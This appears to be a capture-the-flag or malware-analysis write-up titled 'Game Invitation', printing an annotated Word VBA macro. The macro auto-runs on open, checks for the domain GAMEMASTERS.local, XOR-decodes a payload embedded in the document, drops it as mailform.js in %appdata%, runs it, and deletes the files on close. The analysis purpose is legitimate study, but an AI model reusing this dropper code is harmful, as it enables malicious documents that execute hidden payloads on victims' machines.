Game Invitation

Personal Rating: Medium

Last updated 1 year ago

Public pubstr1 As String Public pubstr2 As String Function boolfunc(given_string() As Byte, length As Long) As Boolean Dim xor_key As Byte xor_key = 45 For i = 0 To length - 1 given_string(i) = given_string(i) Xor xor_key xor_key = ((xor_key Xor 99) Xor (i Mod 254)) Next i boolfunc = True End Function Sub AutoClose() 'delete the js script' On Error Resume Next Kill pubstr1 On Error Resume Next Set scriptobj = CreateObject("Scripting.FileSystemObject") scriptobj.DeleteFile pubstr2 & "\*.*", True Set scriptobj = Nothing End Sub Sub AutoOpen() On Error GoTo closepoint Dim chkDomain As String Dim strUserDomain As String chkDomain = "GAMEMASTERS.local" strUserDomain = Environ$("UserDomain") If chkDomain <> strUserDomain Then 'only execute when the user's domain is gamemasters.local' Else Dim var1 Dim file_length As Long Dim length As Long file_length = FileLen(ActiveDocument.FullName) 'file_length in bytes of path+filename of the active document, possibly 153460 according to wc -c' var1 = FreeFile 'return an Integer representing the next file number available for use by the Open statement.' Open (ActiveDocument.FullName) For Binary As #var1 Dim bytearr1() As Byte ReDim bytearr1(file_length) Get #var1, 1, bytearr1 'read the content of the active document into memory as a byte array bytearr1' Dim str1 As String str1 = StrConv(bytearr1, vbUnicode) 'convert the bytearray to a string str1' Dim var2, regexresult Dim regex1 Set regex1 = CreateObject("vbscript.regexp") regex1.Pattern = "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa" Set regexresult = regex1.Execute(str1) 'run regex1 pattern over str1 and store the result in regexresult' Dim var5 If regexresult.Count = 0 Then 'continue only if there are regex results' GoTo closepoint End If For Each var2 In regexresult 'for each var2 in regexresult:' var5 = var2.FirstIndex ' var5 = position of var2 in regexresult (0-terminated)' Exit For Next Dim bytearr2() As Byte Dim longvar1 As Long longvar1 = 13082 ReDim bytearr2(longvar1) 'redefine: bytearr2(13082)' Get #var1, var5 + 81, bytearr2 If Not boolfunc(bytearr2(), longvar1 + 1) Then 'continue only if boolfunc(bytearr2, 13083) = True' GoTo closepoint End If pubstr2 = Environ("appdata") & "\Microsoft\Windows" 'set pubstr2 to "%appdata%\Microsoft\Windows"' Set scriptobj = CreateObject("Scripting.FileSystemObject") If Not scriptobj.FolderExists(pubstr2) Then 'if the folder in pubstr2 does not exist, change it to "%appdata%"' pubstr2 = Environ("appdata") End If Set scriptobj = Nothing Dim var6 var6 = FreeFile pubstr1 = pubstr2 & "\" & "mailform.js" 'set pubstr1 to <pubstr2>\mailform.js' Open (pubstr1) For Binary As #var6 Put #var6, 1, bytearr2 'insert bytearr2 into mailform.js' Close #var6 Erase bytearr2 Set shellobj = CreateObject("WScript.Shell") shellobj.Run """" + pubstr1 + """" + " vF8rdgMHKBrvCoCp0ulm" 'run script: "<pubstr2>\mailform.js vF8rdgMHKBrvCoCp0ulm"' ActiveDocument.Save Exit Sub closepoint: Close #var6 ActiveDocument.Save End If End Sub 'executes the script as soon as the document is openend, see AutoOpen()' 'deletes the used files and vars as the document is closed, see AutoClose()'